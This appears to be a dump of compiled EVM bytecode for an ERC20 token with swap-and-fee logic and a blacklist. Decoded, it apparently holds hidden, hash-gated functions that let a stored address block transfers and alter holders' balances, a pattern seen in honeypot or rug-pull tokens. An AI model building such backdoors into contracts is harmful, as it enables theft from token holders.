fffffffffffffffffffffffffffffffffffffff1681525050611eb530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b7565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f199594939291906127ba565b600060405180830381600087803b158015611f3357600080fd5b505af1925050508015611f44575060015b611f4d57611f4e565b5b60004790506000811115611fc657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fc4573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b600080831415611ff9576000905061205b565b60008284612007919061290b565b905082848261201691906128da565b14612056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204d9061271f565b60405180910390fd5b809150505b92915050565b60006120a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ab565b905092915050565b600080831182906120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e9919061267d565b60405180910390fd5b506000838561210191906128da565b9050809150509392505050565b60008135905061211d81612e54565b92915050565b60008151905061213281612e54565b92915050565b60008083601f84011261214e5761214d612c1c565b5b8235905067ffffffffffffffff81111561216b5761216a612c17565b5b60208301915083602082028301111561218757612186612c21565b5b9250929050565b60008135905061219d81612e6b565b92915050565b6000813590506121b281612e82565b92915050565b6000602082840312156121ce576121cd612c2b565b5b60006121dc8482850161210e565b91505092915050565b6000602082840312156121fb576121fa612c2b565b5b600061220984828501612123565b91505092915050565b6000806040838503121561222957612228612c2b565b5b60006122378582860161210e565b92505060206122488582860161210e565b9150509250929050565b60008060006060848603121561226b5761226a612c2b565b5b60006122798682870161210e565b935050602061228a8682870161210e565b925050604061229b868287016121a3565b9150509250925092565b600080604083850312156122bc576122bb612c2b565b5b60006122ca8582860161210e565b92505060206122db858286016121a3565b9150509250929050565b6000806000604084860312156122fe576122fd612c2b565b5b600084013567ffffffffffffffff81111561231c5761231b612c26565b5b61232886828701612138565b9350935050602061233b8682870161218e565b9150509250925092565b60006123518383612383565b60208301905092915050565b612366816129ab565b82525050565b61237d612378826129ab565b612b08565b82525050565b61238c81612999565b82525050565b61239b81612999565b82525050565b6123b26123ad82612999565b612af6565b82525050565b60006123c38261283f565b6123cd8185612862565b93506123d88361282f565b8060005b838110156124095781516123f08882612345565b97506123fb83612855565b9250506001810190506123dc565b5085935050505092915050565b61241f816129bd565b82525050565b61242e81612a00565b82525050565b61243d81612a12565b82525050565b600061244e8261284a565b6124588185612873565b9350612468818560208601612a48565b61247181612c30565b840191505092915050565b6000612489602383612873565b915061249482612c4e565b604082019050919050565b60006124ac601283612873565b91506124b782612c9d565b602082019050919050565b60006124cf602283612873565b91506124da82612cc6565b604082019050919050565b60006124f2601b83612873565b91506124fd82612d15565b602082019050919050565b6000612515602183612873565b915061252082612d3e565b604082019050919050565b6000612538602083612873565b915061254382612d8d565b602082019050919050565b600061255b602583612873565b915061256682612db6565b604082019050919050565b600061257e602483612873565b915061258982612e05565b604082019050919050565b61259d816129e9565b82525050565b6125ac816129f3565b82525050565b60006125be82846123a1565b60148201915081905092915050565b60006125d9828461236c565b60148201915081905092915050565b60006020820190506125fd6000830184612392565b92915050565b6000602082019050612618600083018461235d565b92915050565b60006040820190506126336000830185612392565b6126406020830184612392565b9392505050565b600060208201905061265c6000830184612416565b92915050565b60006020820190506126776000830184612425565b92915050565b600060208201905081810360008301526126978184612443565b905092915050565b600060208201905081810360008301526126b88161247c565b9050919050565b600060208201905081810360008301526126d88161249f565b9050919050565b600060208201905081810360008301526126f8816124c2565b9050919050565b60006020820190508181036000830152612718816124e5565b9050919050565b6000602082019050818103600083015261273881612508565b9050919050565b600060208201905081810360008301526127588161252b565b9050919050565b600060208201905081810360008301526127788161254e565b9050919050565b6000602082019050818103600083015261279881612571565b9050919050565b60006020820190506127b46000830184612594565b92915050565b600060a0820190506127cf6000830188612594565b6127dc6020830187612434565b81810360408301526127ee81866123b8565b90506127fd6060830185612392565b61280a6080830184612594565b9695505050505050565b600060208201905061282960008301846125a3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061288f826129e9565b915061289a836129e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128cf576128ce612b2c565b5b828201905092915050565b60006128e5826129e9565b91506128f0836129e9565b925082612900576128ff612b5b565b5b828204905092915050565b6000612916826129e9565b9150612921836129e9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561295a57612959612b2c565b5b828202905092915050565b6000612970826129e9565b915061297b836129e9565b92508282101561298e5761298d612b2c565b5b828203905092915050565b60006129a4826129c9565b9050919050565b60006129b6826129c9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a0b82612a24565b9050919050565b6000612a1d826129e9565b9050919050565b6000612a2f82612a36565b9050919050565b6000612a41826129c9565b9050919050565b60005b83811015612a66578082015181840152602081019050612a4b565b83811115612a75576000848401525b50505050565b60006002820490506001821680612a9357607f821691505b60208210811415612aa757612aa6612b8a565b5b50919050565b6000612ab8826129e9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612aeb57612aea612b2c565b5b600182019050919050565b6000612b0182612b1a565b9050919050565b6000612b1382612b1a565b9050919050565b6000612b2582612c41565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612e5d81612999565b8114612e6857600080fd5b50565b612e74816129bd565b8114612e7f57600080fd5b50565b612e8b816129e9565b8114612e9657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f14cb924efdb9ad77b6a7546e89fd850dc6f00d13055476f548644e40d0aa30664736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80633ecad271116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80633ecad2711461035057806370a082311461038d5780637ec73e35146103ca5780638da5cb5b146103f357806395d89b411461041e57610140565b80631d231b2c116100fd5780631d231b2c1461021a57806323b872dd146102575780632537f35514610294578063313ce567146102bf5780633345611e146102ea5780633c59639b1461032757610140565b806306fdde03146101455780630813bd4b14610170578063095ea7b3146101875780631694505e146101c457806318160ddd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061267d565b60405180910390f35b34801561017c57600080fd5b506101856105ff565b005b34801561019357600080fd5b506101ae60048036038101906101a991906122a5565b6109d7565b6040516101bb9190612647565b60405180910390f35b3480156101d057600080fd5b506101d96109f5565b6040516101e69190612662565b60405180910390f35b3480156101fb57600080fd5b50610204610a1b565b604051610211919061279f565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c91906121b8565b610a25565b60405161024e9190612647565b60405180910390f35b34801561026357600080fd5b5061027e60048036038101906102799190612252565b610a45565b60405161028b9190612647565b60405180910390f35b3480156102a057600080fd5b506102a9610b1f565b6040516102b69190612603565b60405180910390f35b3480156102cb57600080fd5b506102d4610b45565b6040516102e19190612814565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c91906121b8565b610b5c565b60405161031e9190612647565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906122a5565b610b7c565b005b34801561035c57600080fd5b50610377600480360381019061037291906121b8565b610d42565b6040516103849190612647565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906121b8565b610d62565b6040516103c1919061279f565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec91906122e5565b610dab565b005b3480156103ff57600080fd5b50610408610eca565b60405161041591906125e8565b60405180910390f35b34801561042a57600080fd5b50610433610ef3565b604051610440919061267d565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906122a5565b610f85565b60405161047d9190612647565b60405180910390f35b34801561049257600080fd5b5061049b610fa4565b6040516104a8919061279f565b60405180910390f35b3480156104bd57600080fd5b506104c6610faa565b6040516104d391906125e8565b60405180910390f35b3480156104e857600080fd5b506104f1610fd0565b6040516104fe919061279f565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612212565b610fd6565b60405161053b919061279f565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906121b8565b61105d565b005b60606001805461057c90612a7b565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612a7b565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b6106076111af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b9061273f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906121e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078d57600080fd5b505afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906121e5565b6040518363ffffffff1660e01b81526004016107e292919061261e565b602060405180830381600087803b1580156107fc57600080fd5b505af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083491906121e5565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006109eb6109e46111af565b84846111b7565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b6000610a52848484611382565b50610b1484610a5f6111af565b610b0f85604051806060016040528060288152602001612e9a60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac56111af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a039092919063ffffffff16565b6111b7565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b33604051602001610b8d91906125b2565b60405160208183030381529060405280519060200120600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610bd691906125cd565b6040516020818303038152906040528051906020012014610bf657600080fd5b610c5a610c0c8283611a6790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfb600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008610cec919061290b565b82611ab190919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b33604051602001610dbc91906125b2565b60405160208183030381529060405280519060200120600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610e0591906125cd565b6040516020818303038152906040528051906020012014610e2557600080fd5b60005b83839050811015610ec4578160086000868685818110610e4b57610e4a612bb9565b5b9050602002016020810190610e6091906121b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ebc90612aad565b915050610e28565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610f0290612a7b565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2e90612a7b565b8015610f7b5780601f10610f5057610100808354040283529160200191610f7b565b820191906000526020600020905b815481529060010190602001808311610f5e57829003601f168201915b5050505050905090565b6000610f99610f926111af565b8484611382565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110656111af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e99061273f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121e9061277f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e906126df565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611375919061279f565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea9061275f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145a9061269f565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e7906126bf565b60405180910390fd5b600d60149054906101000a900460ff161561151757611510848484611b0f565b90506119fc565b600061152230610d62565b9050600d60149054906101000a900460ff1615801561158b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561159a5761159981611ce2565b5b6115ec83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116d25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116df578390506118fb565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117625761175b606461174d60095488611fe690919063ffffffff16565b61206190919063ffffffff16565b90506117e0565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117df576117dc60646117ce600a5488611fe690919063ffffffff16565b61206190919063ffffffff16565b90505b5b60008111156118e45761183b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118db919061279f565b60405180910390a35b6118f78186611a6790919063ffffffff16565b9150505b61194d81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ed919061279f565b60405180910390a36001925050505b9392505050565b6000838311158290611a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a42919061267d565b60405180910390fd5b5060008385611a5a9190612965565b9050809150509392505050565b6000611aa983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a03565b905092915050565b6000808284611ac09190612884565b905083811015611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc906126ff565b60405180910390fd5b8091505092915050565b6000611b9a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a039092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab190919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ccf919061279f565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1a57611d19612be8565b5b604051908082528060200260200182016040528015611d485781602001602082028036833780820191505090505b5090503081600081518110611d6057611d5f612bb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e0257600080fd5b505afa158015611e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3a91906121e5565b81600181518110611e4e57611e4d612bb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b7565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f199594939291906127ba565b600060405180830381600087803b158015611f3357600080fd5b505af1925050508015611f44575060015b611f4d57611f4e565b5b60004790506000811115611fc657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fc4573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b600080831415611ff9576000905061205b565b60008284612007919061290b565b905082848261201691906128da565b14612056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204d9061271f565b60405180910390fd5b809150505b92915050565b60006120a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ab565b905092915050565b600080831182906120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e9919061267d565b60405180910390fd5b506000838561210191906128da565b9050809150509392505050565b60008135905061211d81612e54565b92915050565b60008151905061213281612e54565b92915050565b60008083601f84011261214e5761214d612c1c565b5b8235905067ffffffffffffffff81111561216b5761216a612c17565b5b60208301915083602082028301111561218757612186612c21565b5b9250929050565b60008135905061219d81612e6b565b92915050565b6000813590506121b281612e82565b92915050565b6000602082840312156121ce576121cd612c2b565b5b60006121dc8482850161210e565b91505092915050565b6000602082840312156121fb576121fa612c2b565b5b600061220984828501612123565b91505092915050565b6000806040838503121561222957612228612c2b565b5b60006122378582860161210e565b92505060206122488582860161210e565b9150509250929050565b60008060006060848603121561226b5761226a612c2b565b5b60006122798682870161210e565b935050602061228a8682870161210e565b925050604061229b868287016121a3565b9150509250925092565b600080604083850312156122bc576122bb612c2b565b5b60006122ca8582860161210e565b92505060206122db858286016121a3565b9150509250929050565b6000806000604084860312156122fe576122fd612c2b565b5b600084013567ffffffffffffffff81111561231c5761231b612c26565b5b61232886828701612138565b9350935050602061233b8682870161218e565b9150509250925092565b60006123518383612383565b60208301905092915050565b612366816129ab565b82525050565b61237d612378826129ab565b612b08565b82525050565b61238c81612999565b82525050565b61239b81612999565b82525050565b6123b26123ad82612999565b612af6565b82525050565b60006123c38261283f565b6123cd8185612862565b93506123d88361282f565b8060005b838110156124095781516123f08882612345565b97506123fb83612855565b9250506001810190506123dc565b5085935050505092915050565b61241f816129bd565b82525050565b61242e81612a00565b82525050565b61243d81612a12565b82525050565b600061244e8261284a565b6124588185612873565b9350612468818560208601612a48565b61247181612c30565b840191505092915050565b6000612489602383612873565b915061249482612c4e565b604082019050919050565b60006124ac601283612873565b91506124b782612c9d565b602082019050919050565b60006124cf602283612873565b91506124da82612cc6565b604082019050919050565b60006124f2601b83612873565b91506124fd82612d15565b602082019050919050565b6000612515602183612873565b915061252082612d3e565b604082019050919050565b6000612538602083612873565b915061254382612d8d565b602082019050919050565b600061255b602583612873565b915061256682612db6565b604082019050919050565b600061257e602483612873565b915061258982612e05565b604082019050919050565b61259d816129e9565b82525050565b6125ac816129f3565b82525050565b60006125be82846123a1565b60148201915081905092915050565b60006125d9828461236c565b60148201915081905092915050565b60006020820190506125fd6000830184612392565b92915050565b6000602082019050612618600083018461235d565b92915050565b60006040820190506126336000830185612392565b6126406020830184612392565b9392505050565b600060208201905061265c6000830184612416565b92915050565b60006020820190506126776000830184612425565b92915050565b600060208201905081810360008301526126978184612443565b905092915050565b600060208201905081810360008301526126b88161247c565b9050919050565b600060208201905081810360008301526126d88161249f565b9050919050565b600060208201905081810360008301526126f8816124c2565b9050919050565b60006020820190508181036000830152612718816124e5565b9050919050565b6000602082019050818103600083015261273881612508565b9050919050565b600060208201905081810360008301526127588161252b565b9050919050565b600060208201905081810360008301526127788161254e565b9050919050565b6000602082019050818103600083015261279881612571565b9050919050565b60006020820190506127b46000830184612594565b92915050565b600060a0820190506127cf6000830188612594565b6127dc6020830187612434565b81810360408301526127ee81866123b8565b90506127fd6060830185612392565b61280a6080830184612594565b9695505050505050565b600060208201905061282960008301846125a3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061288f826129e9565b915061289a836129e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128cf576128ce612b2c565b5b828201905092915050565b60006128e5826129e9565b91506128f0836129e9565b925082612900576128ff612b5b565b5b828204905092915050565b6000612916826129e9565b9150612921836129e9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561295a57612959612b2c565b5b828202905092915050565b6000612970826129e9565b915061297b836129e9565b92508282101561298e5761298d612b2c565b5b828203905092915050565b60006129a4826129c9565b9050919050565b60006129b6826129c9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a0b82612a24565b9050919050565b6000612a1d826129e9565b9050919050565b6000612a2f82612a36565b9050919050565b6000612a41826129c9565b9050919050565b60005b83811015612a66578082015181840152602081019050612a4b565b83811115612a75576000848401525b50505050565b60006002820490506001821680612a9357607f821691505b60208210811415612aa757612aa6612b8a565b5b50919050565b6000612ab8826129e9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612aeb57612aea612b2c565b5b600182019050919050565b6000612b0182612b1a565b9050919050565b6000612b1382612b1a565b9050919050565b6000612b2582612c41565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612e5d81612999565b8114612e6857600080fd5b50565b612e74816129bd565b8114612e7f57600080fd5b50565b612e8b816129e9565b8114612e9657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f14cb924efdb9ad77b6a7546e89fd850dc6f00d13055476f548644e40d0aa30664736f6c63430008070033

Deployed Bytecode Sourcemap

